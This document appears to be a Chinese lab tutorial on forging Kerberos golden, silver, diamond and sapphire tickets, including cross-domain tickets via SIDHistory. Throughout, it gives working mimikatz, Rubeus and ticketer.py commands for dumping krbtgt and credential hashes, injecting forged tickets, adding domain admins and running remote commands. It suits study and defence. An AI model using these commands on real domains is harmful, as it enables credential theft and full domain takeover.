简介:
Golden Ticket(下面称为金票)是通过伪造的TGT(TicketGranting Ticket),因为只要有了高权限的TGT,那么就可以发送给TGS换取任意服务的ST。可以说有了金票就有了域内的最高权限。
每个用户的Ticket都是由krbtgt的密码Hash来生成的,那么,我们如果拿到了krbtgt的密码Hash,其实就可以伪造任意用户的TICKET,
对于攻击者来说,实际上只要拿到了域控权限,就可以直接导出krbtgt的Hash值,,再通过mimikatz即可生成任意用户任何权限的Ticket,也就是Golden Ticket。
原理:
在AS_REQ & AS_REP中,用户使用自身hash加密时间戳发送给KDC,KDC验证成功后返回用krbtgt hash加密的TGT票据。如果我们有krbtgt的hash,就可以自己给自己签发任意用户的tgt票据。
利用前提:
条件要求:
伪造金票
制作金票的条件:
1、域名称
2、域的SID值
3、域的KRBTGT账户密码HASH
4、伪造用户名,可以是任意的
实战中,通常使用Mimikatz来提取krbtgt的NTLM-Hash。
1.获取域名称
net view /domain
2.Mimikatz获取krbtgt的HTLM-Hash及域SID
mimikatz "lsadump::dcsync /domain:test666.com /user:krbtgt"
3..Mimikatz生成黄金票据
mimikatz "kerberos::golden /domain:admin.com /sid:S-1-5-21-1497092113-2272191533-193330055 /krbtgt:cac9c793eb3ba2c6abbcc9c14f18a41f /user:test666 /ticket:golden.kirbi"
利用步骤:
1.导出krbtgt的Hash
金票的生成需要用到krbtgt的密码HASH值,可以通过mimikatz中的
登录aaa域管用户,执行whoami可以看到是aaa用户:
使用一下命令导出用户krbtgt的hash:
mimikatz(commandline) # privilege::debug
mimikatz(commandline) # lsadump::dcsync /domain:cyberpeace.com /all /csv
mimikatz(commandline) # lsadump::dcsync /domain:cyberpeace.com /user:krbtgt
再执行以下命令可以看到krbtgt用户的SID:
利用mimikatz生成金票生成.kirbi文件并保存:
mimikatz.exe "kerberos::golden /admin:system /domain:cyberpeace.com /sid:S-1-5-21-97341123-1865264218-933115267 /krbtgt:95972cdf7b8dde854e74c1871f6d80a0 /ticket:ticket.kirbi" exit
/admin:伪造的用户名
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称 //不是写入内存中的命令!
登录域内普通用户,通过mimikatz中的kerberos::ptt功能将ticket.kirbi导入内存中。
mimikatz # kerberos::purge
mimikatz # kerberos::ptt ticket.kirbi
此时尝试创建一个abcc的域管账号,命令执行成功:
防御手段:
防御措施如下:
如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。 所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,从而更加隐蔽,但是伪造的门票只对部分服务起作用,如cifs(文件共享服务),mssql,winrm(windows远程管理),DNS等等
1.不需要与KDC进行交互 2.需要server的NTLM hash
利用前提:
条件要求:
先添加的域管账号 这里不一定就要域管 只是实验用的域管
net user ccc Qwe1234/add /domain
net group "Domain Admins" cccc /add /domain
登录上面创建的域管用户,用管理员权限打开CMD,cd 到 mimikatz 存放的目录,去执行mimikatz的命令,得到SID和NTLM,
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt
把HASH文件保存到本地,在重新登录到域内机器的本地账户,将hash文件和mimikatz复制进去:先使用mimikatz清空票据,再导入伪造的票据,具体伪造票据的命令:
kerberos::golden /domain:cyberpeace.com /sid:S-1-5-21-2718660907-658632824-2072795563 /target:scene.cyberpeace.com /service:cifs /rc4:9a68826fdc2811f20d1f73a471ad7b9a /user:test /ptt
使用方法:kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt
其中的用户名可以随便写
服务类型可以从以下内容中来进行选择,因为我们没有TGT去不断申请ticket,所以只能针对某一些服务来进行伪造
测试一下,成功执行dir //scene.cyberpeace.com/c$ ,并且可以创建域管账号:
为 “cifs ”服务创建白银票据,以获得目标计算机上任何Windows共享的管理权限。
注入CIFS Silver Ticket后,我们现在可以访问目标计算机上的任何共享,包括
c $共享,我们能够将文件拷贝到共享文件中。
具有管理员权限的Windows计算机(HOST)白银票据
创建银票以获得目标计算机上所涵盖的任何Windows服务的管理员权限。这包括修改和创建计划任务的权限。
Silver Ticket连接到以Windows管理员权限计算机上的PowerShell远程执行
为“ http ”服务和“ wsman ”服务创建Silver Ticket,以获得目标系统上的WinRM和或PowerShell Remoting的管理权限。
注入两张HTTP&WSMAN白银票据后,我们可以使用PowerShell远程(或WinRM的)反弹出目标系统shell。首先New-PSSession使用PowerShell创建到远程系统的会话的PowerShell cmdlet,然后Enter-PSSession打开远程shell。
为“ldap”服务创建Silver Ticket 以获得目标系统(包括Active Directory)上LDAP服务的管理权限。
利用LDAP Silver Ticket,我们可以远程访问LDAP服务来获得krbtgt的信息
lsadump::dcsync
向 DC 发起一个同步对象(可获取帐户的密码信息)的质询。需要的权限包括管理员组(Administrators),域管理员组( Domain Admins)或企业管理员组(Enterprise Admins)以及域控制器的计算机帐户,只读域控制器默认不允许读取用户密码数据。
为“ HOST ”服务和“ rpcss ”服务创建白银票据以使用WMI在目标系统上远程执行命令。
注入这些白银票据之后,我们可以通过运行“klist”来确认Kerberos TGS票据在内存中注入白银票据后,我们可以通过“传票”来调用WMIC或Invoke-WmiMethod在目标系统上运行命令。
Invoke-WmiMethod win32_process -ComputerName $ Computer -Credential $ Creds -name create -argumentlist“$ RunCommand”
首先需要获得如下信息:
domain
/sid
/target:目标服务器的域名全称,此处为域控的全称
/service:目标服务器上面的kerberos服务,此处为cifs
/rc4:计算机账户的NTLM hash,域控主机的计算机账户
/user:要伪造的用户名,此处可用silver测试
使用mimikatz执行如下命令导入Silver Ticket
mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:cifs /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:silver /ptt"
此时可以成功访问域控上的文件共享
钻石票据是一种TGT,可用于以任何用户身份访问任何服务。 黄金票据完全是离线伪造的,使用该域的krbtgt哈希进行加密,然后传递到登录会话中供使用。 因为域控制器不会跟踪它(或它们)合法发行的TGT,所以它们会乐意接受用其自身krbtgt哈希加密的TGT。
检测黄金票据使用的两种常见技术:
钻石票据是通过修改由DC发行的合法TGT的字段而制作的。 这是通过请求一个TGT,使用域的krbtgt哈希解密它,修改票据的所需字段,然后重新加密它来实现的。 这克服了黄金票据的上述两个缺点,因为:
1、krbtgt账户的AES256密钥
2、域用户&密码
钻石票是通过修改 DC 发行的合法 TGT 的字段来制作的。这是通过请求TGT 、使用域的 krbtgt 哈希对其进行解密、修改票证的所需字段,然后重新加密来实现的。这克服了金票的上述两个缺点,因为:
# Get user RID
powershell Get-DomainUser -Identity <username> -Properties objectsid
.\Rubeus.exe diamond /tgtdeleg /ticketuser:<username> /ticketuserid:<RID of username> /groups:512
使用低权限用户 ( Loki)访问DC 上的C$文件共享 (CIFS)
为低权限用户Loki请求正常的 TGT (见图7)。然后该命令解密TGT,修改相关部分,重新计算签名,并重新加密TGT
生成的票据可以像任何其他 TGT 一样使用,但现在进行了修改
访问DC 上的C$共享
蓝宝石门票与钻石门票类似,门票不是伪造的,而是基于请求后获得的合法门票。区别在于 PAC 的修改方式。钻石票方法修改了合法的 PAC。在Sapphire Ticket方法中,另一个强大用户的PAC是通过S4U2self+u2u技巧获得的。然后,该 PAC 会替换合法票证中的 PAC。生成的票据是合法元素的集合,并遵循标准票据请求,这使得它成为最难检测的银/金票据变体。
由于钻石票会动态修改 PAC 以包含任意组 ID,因此某些检测软件(或将)能够检测 PAC 值与实际 AD 关系之间的差异(例如 PAC 指示用户属于某些组)但事实上并非如此)。
蓝宝石票证是通过在票证中包含合法强大用户的 PAC 来以更隐秘的方式获取类似票证的替代方案。
测试:
ticketer.py -request -impersonate 'domainadmin' \
-domain 'DOMAIN.FQDN' -user 'domain_user' -password 'password' \
-nthash 'krbtgt NT hash' -aesKey 'krbtgt AES key' \
-user-id '1115' -domain-sid 'S-1-5-21-...' \
'baduser'
抓包查看:
申请蓝宝石票据:
查看该票证,我们可以看到我们有一张票证,其中包含模拟管理员请求的 PAC。
在域中使用用户emp.1进行了身份验证。
金票:伪造的TGT,可以获取任意Kerberos的访问权限 银票:伪造的ST,只能访问指定的服务,如CIFS
金票:同KDC交互,但不同AS交互 银票:不同KDC交互,直接访问Server
金票:由krbtgt NTLM Hash 加密 银票:由服务账号 NTLM Hash 加密
Golden Ticket 和Silver Ticket都会在日志,不同的是,Golden Ticket会在域控中留下日志,Silver Ticket 仅在目标系统留下日志,因为Silver Ticket 不与KDC产生交互
在 Golden Ticket 部分说明可利用 krbtgt 的密码 HASH 值生成金票,从而能够获取域控权 限同时能够访问域内其他主机的任何服务。但是普通的金票不能够跨域使用,也就是说金票 的权限被限制在当前域内。
为什么普通金票会被限制只能在当前域内使用? 在上一篇文章中说到了域树和域林的概念,同时说到 YUNYING.LAB 为其他两个域 (NEWS.YUNYING.LAB 和 DEV.YUNYING.LAB)的根域,根域和其他域的最大的区别就是根域对 整个域林都有控制权。而域正是根据 Enterprise Admins 组(下文会说明)来实现这样的权限 划分。
实验环境
根域:YUNYING.LAB
域控:DC.YUNYING.LAB
子域:NEWS.YUNYING.LAB
域控:NEWSDC.NEWS.YUNYING.LAB
子域:DEV.YUNYING.LAB
域控:DEVDC.DEV.YUNYING.LAB
操作系统均为Windows Server 2008 R2 x64
使用工具:
Mimikatz
实验流程:
首先使用mimikatz在NEWSDC(NEWS.YUNYING.LAB的域控)上生成普通的金票,真实环境会是在域内的主机中,这里方便演示所以在域控中,原理和结果是一样的。
这里使用的是NEWS.YUNYING.LAB域的SID号,访问根域的DC共享文件夹被拒绝。
下面说明下具体原因。
Enterprise Admins组是域中用户的一个组,只存在于一个林中的根域中,这个组的成员,这里也就是YUNYING.LAB中的Administrator用户(不是本地的Administrator,是域中的Administrator)对域有完全管理控制权。
通过whoami命令在yunying.lab的域控上可以看到Enterprise Admins组的RID为519(最后三位)
可以看到在子域中是不存在Enterprise Admins组的,在一个子域中权限最高的组就是Domain Admins组。截图是news.yunying.lab这个子域中的Administrator用户,这个Administrator有当前域的最高权限。
通过whoami命令也可以看到在news.yunying.lab这个子域中没有Enterprise Admins组的SID号。
在子域中使用mimikatz创建的黄金票据不能跨域使用的原因也就在这里,通过whoami可以看到YUNYING.LAB中Enterprise Admins组的SID号是:
S-1-5-21-4249968736-1423802980-663233003-519
而NEWS.YUNYING.LAB域中的SID号是:
S-1-5-21-3641416521-285861825-2863956705-XXX
mimikatz通过/sid选项接收SID号然后在尾部拼接RID号(512,519等),拼接之后生成的Enterprise Admins组的完整SID是:
S-1-5-21-3641416521-285861825-2863956705-519
而这个SID在整个域林中都是不存在的,所以在子域中通过mimikatz生成的金票无法跨域或者是访问其他域的资源。在一个域林中,域控权限不是终点,根域的域控权限才是域渗透的终点。
普通的黄金票据被限制在当前域内,在2015年Black Hat USA中国外的研究者提出了突破域限制的增强版的黄金票据。通过域内主机在迁移时SIDHistory属性中保存的上一个域的SID值制作可以跨域的金票。这里没有迁移,直接拿根域的SID号做演示。
如果知道根域的SID那么就可以通过子域的KRBTGT的HASH值,使用mimikatz创建具有 Enterprise Admins组权限(域林中的最高权限)的票据。环境与上文普通金票的生成相同。
首先我们通过klist purge删除当前保存的Kerberos票据,也可以在mimikatz里通过kerberos::purge来删除。
然后通过mimikatz重新生成包含根域SID的新的金票
注意这里是不知道根域YUNYING.LAB的krbtgt的密码HASH的,使用的是子域NEWS.YUNYING.LAB中的KRBTGT的密码HASH。
然后再通过dir访问DC. YUNYING.LAB的共享文件夹,发现已经可以成功访问。
此时的这个票据票是拥有整个域林的控制权的。我们知道制作增强金票的条件是通过SIDHistory那防御方法就是在域内主机迁移时进行SIDHistory过滤,它会擦除SIDHistory属性中的内容。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。